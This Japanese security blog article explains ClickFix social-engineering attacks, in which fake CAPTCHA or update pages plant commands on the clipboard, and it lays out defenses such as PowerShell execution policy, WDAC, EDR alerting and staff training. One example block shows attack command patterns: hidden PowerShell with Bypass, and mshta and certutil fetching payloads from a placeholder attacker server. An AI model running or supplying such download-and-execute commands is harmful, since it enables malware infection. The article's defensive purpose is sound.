ClickFix攻撃とは？クリップボードを悪用してコマンドを自分で実行させるサイバー攻撃の手口と対策をわかりやすく解説

「ブラウザのエラーを修正するには、このコマンドをコピーして実行してください」——そんな画面がWebブラウザ上に現れたとき、指示に従ってコマンドを打ち込んでしまったとしたら何が起きるでしょうか。

ClickFix攻撃は、偽の警告画面を使って「ユーザー自身に悪意のあるコマンドを実行させる」という手口です。添付ファイルを開かせたり不審なリンクをクリックさせたりする従来のフィッシング攻撃と異なり、「ユーザーが自分でコマンドを打ち込む」という自発的な操作に見せかける点が最大の特徴です。

セキュリティリサーチャーによって2024年頃から複数の攻撃キャンペーンでの使用が確認されており、情報窃取マルウェア（インフォスティーラー）やRAT（リモートアクセス型トロイの木馬）の感染経路として国際的に広まっています。

この記事では、ClickFix攻撃の仕組み・主な攻撃パターン・情シス1人でもできる具体的な防御手順について解説します。

ClickFix攻撃とは？——クリップボードを悪用する新世代の詐欺手法

ClickFix攻撃は、悪意のある攻撃者が仕掛けたWebページ上に「偽の修復ダイアログ」を表示し、訪問者に対してコマンドをコピー・実行させるソーシャルエンジニアリング（人の心理を悪用した詐欺）手法です。

名前の由来は「クリックして（Click）修正させる（Fix）」という攻撃の流れにあります。ユーザーには「問題を解決するためのステップ」として提示されますが、実際にはマルウェアをダウンロード・実行するための命令が仕込まれています。

この手法の最大の特徴は、セキュリティツールが「ユーザーが自発的に実行した正規の操作」と判断しやすい点にあります。攻撃者からの一方的な侵入ではなく、ユーザー自身の入力によって実行されるため、エンドポイントの挙動監視でも気づかれにくいのが実情です。

攻撃の仕組み（敵を知る）

典型的なClickFix攻撃は、次の3ステップで進行します。

1. 偽の警告画面でユーザーを誘導する

ユーザーが悪意のある、または改ざんされたWebページを訪問すると、ページ全体を覆う偽のオーバーレイ（ポップアップ表示）が現れます。代表的な偽装パターンは以下のとおりです。

・偽CAPTCHA型: 「ロボット認証に失敗しました。このコマンドを実行して人間であることを証明してください」
・偽ブラウザ更新型: 「ブラウザのバージョンが古いため正しく表示されません。修正手順に従ってください」
・偽ドキュメント修復型: 「このドキュメントを表示するにはフォントのインストールが必要です。以下の手順を実行してください」
・偽クラウドサービス通知型: 「アカウントの確認が必要です。セキュリティ確認のためにこのコマンドを実行してください」

いずれも「緊急性」と「操作の簡単さ」を訴えることで、ユーザーが立ち止まって考える余裕を奪う構造になっています。

2. クリップボードに悪意のあるコマンドが自動でセットされる

ページが表示されると同時に、悪意のあるJavaScriptによってユーザーのクリップボードに攻撃用コマンドが自動で書き込まれます。ユーザーは「自分でコピーした」と思っていますが、実際には攻撃者が仕掛けたコマンドがすでにクリップボードに入っています。

コマンドの内容は通常、長く複雑で意味が判断しにくい形にカモフラージュされています。URLの短縮や文字列のエンコード（Base64など）を組み合わせて、一見しただけでは何をしているか読み取れないようにする手口が一般的です。

3. ユーザーが指示通りに実行してしまう

偽の画面はユーザーに対して次のような具体的な操作を指示します。

・「Windowsキー＋Rを押して『ファイル名を指定して実行』を開いてください」
・「表示されたボックスにコマンドを貼り付け（Ctrl＋V）し、Enterキーを押してください」
・「または、スタートメニューからPowerShellを開いてコマンドを貼り付けてください」

この操作が完了した瞬間に、PowerShellやmshta.exeといったWindowsに標準搭載されたツールを経由してマルウェアがダウンロード・実行されます。

# 想定例: ClickFix攻撃で使われる典型的なコマンドのパターン（内容は伏字）
# 実際の攻撃では以下のようなWindows標準ツールが悪用される

# ① PowerShellによるリモートスクリプト実行（代表的なパターン）
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "[難読化されたコマンド]"

# ② mshta.exeを使ったスクリプト実行
# （MSHTAはHTMLアプリを実行できるWindowsの標準ツール）
mshta https://[攻撃者のサーバー]/payload.hta

# ③ certutil.exeを使ったファイルのダウンロードと実行
# （certutilは証明書管理ツールだが、URLからのダウンロードにも使える）
certutil -urlcache -split -f https://[攻撃者のサーバー]/file.exe C:\temp\file.exe

# いずれもWindowsに最初から入っている「正規のツール」を悪用している点に注目

上記のようにWindowsに標準搭載されたツールを悪用する手法は「LOLBins（Living off the Land）攻撃」と呼ばれ、セキュリティソフトの検知をすり抜けやすい特性があります。

ClickFix攻撃の主な配布経路

攻撃者がClickFixページにユーザーを誘導する経路は複数あります。

・マルバタイジング（悪意のある広告）: 正規サイトの広告枠に仕掛けた広告からリダイレクト
・SEO汚染: 検索エンジンの上位に偽サポートページや偽ダウンロードページを表示させる
・フィッシングメール経由: 業務連絡を装ったメールのリンクから誘導
・侵害済みの正規Webサイト: 攻撃者に改ざんされた本物のサイトにClickFixコードが埋め込まれる
・SNSやチャットツール経由: 偽のサポートリンクをMessengerやTeamsのチャットで送付

特に「侵害済みの正規サイト」を経由するケースでは、URLバーを確認しても不審と気づかない場合があり、「URLさえ正規なら安全」という思い込みが通用しません。

なぜセキュリティツールをすり抜けやすいのか

ClickFix攻撃がセキュリティ対策の目をかいくぐりやすい理由は、主に次の3点にあります。

① ユーザーが自発的に実行するため「悪意のある操作の投下」がない
添付ファイルのダウンロードや不審なプログラムの実行を検知するアンチウイルスの視点では、「ユーザーが自分でコマンドを入力した」という行為を自動的に悪意と判断するのが困難です。

② LOLBinsを使うのでプロセスが「正規ツール」として記録される
PowerShell・mshta.exe・certutil.exeなどはWindowsに標準搭載された正規のツールです。これらが実行されること自体はシステム上の「正常な動作」として記録されやすく、ファイルレスマルウェアと組み合わせることで、ディスクに明確な痕跡を残しにくくなります。

③ 実際のマルウェア本体はネットワーク越しに取得される
初期コマンドは非常に短く、ウイルス対策ソフトのシグネチャに引っかかりにくい設計になっています。マルウェア本体は実行後にインターネット経由で取得されるため、ファイルスキャンによる事前検知が難しい構造です。

具体的な防御手順

1. 従業員への意識教育（最優先・今日からできる）

ClickFix攻撃はソーシャルエンジニアリングが根幹にあるため、「Webページがコマンドの実行を求めてきたら絶対に応じない」という認識を全従業員に浸透させることが最も即効性のある対策です。

教育で伝えるべきポイントは次のとおりです。

・正規のWebサービス（クラウドサービス・銀行・行政機関）がWindowsコマンドの実行を求めることはない
・CAPTCHAの代わりにコマンド実行を求める画面は100%偽物
・クリップボードに自動で何かが書き込まれたと感じたら、貼り付けずにブラウザを閉じる
・不審に思ったら情シスへすぐ報告する（報告を恐れない組織文化の醸成が重要）

一般的に、ClickFix攻撃ページはよく作り込まれているため「自分はだまされない」という過信は禁物です。定期的なセキュリティ通知や短い啓発メールを繰り返し送ることが実際の被害を減らします。

2. PowerShell実行ポリシーの制限

Windowsの管理者はグループポリシーまたはPowerShellコマンドでスクリプト実行ポリシーを変更し、署名なしのスクリプト実行を制限できます。

# 現在の実行ポリシーを確認（管理者PowerShellで実行）
Get-ExecutionPolicy -List

# 全ユーザーに対して署名済みスクリプトのみ許可に変更（要管理者権限）
Set-ExecutionPolicy -ExecutionPolicy AllSigned -Scope LocalMachine

# グループポリシー (GPO) での設定場所:
# コンピューターの構成 > 管理用テンプレート
# > Windows コンポーネント > Windows PowerShell
# > 「PowerShell スクリプトの実行を有効にする」
# → 「署名済みスクリプトのみ許可する」を選択

# 注意: -ExecutionPolicy Bypass フラグで管理者は回避できるため
# 実行ポリシーだけを単独で使用するのは部分的な対策にとどまる

実行ポリシーの制限は重要ですが、管理者権限があれば `-ExecutionPolicy Bypass` フラグで回避できます。より強固な対策として、次のステップも組み合わせてください。

3. Windows Defender Application Control（WDAC）の活用

WDAC（Windows Defender Application Control）は、組織が承認した実行ファイル・スクリプト以外の起動をブロックできるWindowsの機能です。ClickFix攻撃でよく悪用されるmshta.exeやcertutil.exeの悪用パターンも制限できます。

・メリット: 実行ポリシーより強固で、Bypassフラグに依存しない
・注意点: 正規業務で使うアプリがブロックされないよう、事前に十分な動作検証が必要
・代替手段: Windows Server環境ではAppLockerも同様の役割を果たす（WDACのほうが推奨）

4. EDRと振る舞い検知の活用

EDR（エンドポイント検知・対応）ソリューションは、「ブラウザプロセスを親として生まれたPowerShellやmshta.exeの実行」を異常な振る舞いとして検知できます。主要なEDRが監視すべきシグナルには次のものがあります。

・Chrome.exeやmsedge.exeなどのブラウザが親プロセスとなってpowershell.exeやcmd.exeを起動する
・PowerShellが外部URLにアクセスしてファイルをダウンロードする
・mshta.exeがネットワーク通信を行う
・certutil.exeが -urlcache フラグ付きで実行される

これらの振る舞いへのアラートルールを事前に設定しておくことで、実行直後に検知できる確率を高められます。

中小企業でも今日からできること

予算や人手が限られた環境でも、次の3点は優先的に取り組む価値があります。

・告知文の配布: 「ブラウザがコマンドの実行を求めてきたら詐欺です」という1枚の案内を全員に配布し、月次の朝礼や回覧板でも周知する
・PowerShell実行ポリシーの変更: 一般ユーザー端末は `AllSigned` または `Restricted` に設定する。業務システムへの影響確認を先に行うこと
・Windows SmartScreenを有効化: 未知のサイトやファイル実行時に警告を出す機能。無効化されている場合は再度有効にする（Windowsセキュリティ > アプリとブラウザーのコントロール）

なお、LinuxやmacOS環境でも「ターミナルにこのコマンドを貼り付けてください」と誘導する同様の手口が確認されており、OSを問わず注意が必要です。Linuxサーバーの安全な設定については、姉妹サイトLinuxMaster.JPで詳しく解説しています。

よくある誤解と注意点

【誤解①】「PowerShellさえ使わせなければ大丈夫」
ClickFix攻撃はPowerShellに限らず、mshta.exe・rundll32.exe・regsvr32.exeなどWindows標準のさまざまなツールを経由します。PowerShellだけを制限しても、他の経路から侵入されるリスクは残ります。

【誤解②】「最新のアンチウイルスがあれば検知できる」
LOLBinsを使ったファイルレスな攻撃はシグネチャベースのアンチウイルスでは検知しにくい構造です。振る舞い検知（EDR）との組み合わせが実質的に必要です。

【誤解③】「うちの社員はそんなコマンドを実行しない」
一般的に、ClickFix攻撃ページはよく作り込まれており、「普段使っているクラウドサービスが更新を求めている」という自然な文脈で提示されます。セキュリティの専門知識がなければ疑わないのが普通であり、「自分の職場には関係ない」という思い込みこそが最大のリスクです。

本記事のまとめ

ClickFix攻撃は、技術的な高度さよりも「人の行動を利用する」巧みさを武器にしています。アンチウイルスやファイアウォールだけでは防ぎきれない部分があるため、教育・技術制御・検知の3層で対策を組み合わせることが重要です。

ClickFix攻撃が送り込むRAT（リモートアクセス型トロイの木馬）の仕組みや、ディスクに痕跡を残さないファイルレスマルウェアの対策もあわせてご確認ください。